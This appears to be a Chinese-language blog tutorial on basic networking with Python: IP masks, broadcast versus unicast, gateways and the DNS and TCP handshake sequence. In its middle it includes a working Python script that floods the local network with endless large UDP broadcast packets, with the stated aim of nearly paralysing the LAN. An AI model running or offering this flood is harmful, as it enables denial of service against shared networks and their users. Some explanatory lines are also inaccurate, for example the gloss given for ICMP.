python網絡通信圖文詳解
ICMP協議又叫:網絡控制協議
2. 數據傳輸過程網絡傳輸的是數據的信號而不是電流
通過ip地址和網絡掩碼的二進制數實行按位與運算,計算的結果轉換為十進制,非0的就是網絡號,0的就是主機號
但是集線器是以廣播的形式發送數據,設備一多就會導致網絡擁堵。
單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF
先根據IP地址和網絡掩碼二進制按位與計算出網絡號,在使用udp往當前局域網(網絡號)下面無線循環發廣播,使局域網瀕臨癱瘓
import socket # 導入socketdef main(): try:# 1、創建socket套接字udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協議# 2、指定地址data_address = ('192.168.255.255', 64300)# 地址要是一個 元組,第一個'192.168.100.255'是內網的廣播地址,第二個 64300 是你計算機當前的端口## 這個端口不必太在意,64300 只要不是被其他程序占用的就行,# 3、發送數據while True: send_data = '1' * 57175 # 這里發送的數據可以隨意點 udp_socket.sendto(send_data.encode('UTF-8'), data_address) # 第一個參數sendData.encode('UTF-8')是要發送的數據,('UTF-8')是設置發送數據的編碼, # 第二個參數(dataAddress)是發送數據的地址,也就是筆者內網的廣播地址 except Exception as result:print('未知錯誤' + str(result))if __name__ == ’__main__’: main()8. 使用路由器連接多個網絡
路由器的作用:連接兩個以上的網絡為一個大網絡
網關:具有轉發數據能力的設備
當AB兩臺電腦不在同一個網絡下想進行通信時,A電腦需要先把數據發送到默認網關,網關具有轉發數據的能力,網關再把數據轉發給B電腦,默認網關一般都是路由器
數據在轉發的過程當中,ip地址不變,mac地址每轉發一次就發生一次變化
9. 瀏覽器訪問服務器的過程(1)向DNS服務器發送請求進行解析域名
(2)向http服務器發送3次握手
(3)握手成功后,向http服務器發送Http格式的請求數據
(4)所有請求完畢后,向http服務器發送4次揮手
網絡數據包發送過程當中源IP目標IP不變,源mac和目標mac每通過路由器網關轉發一次就會發生一次變化
總結本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關注好吧啦網的更多內容!
相關文章:
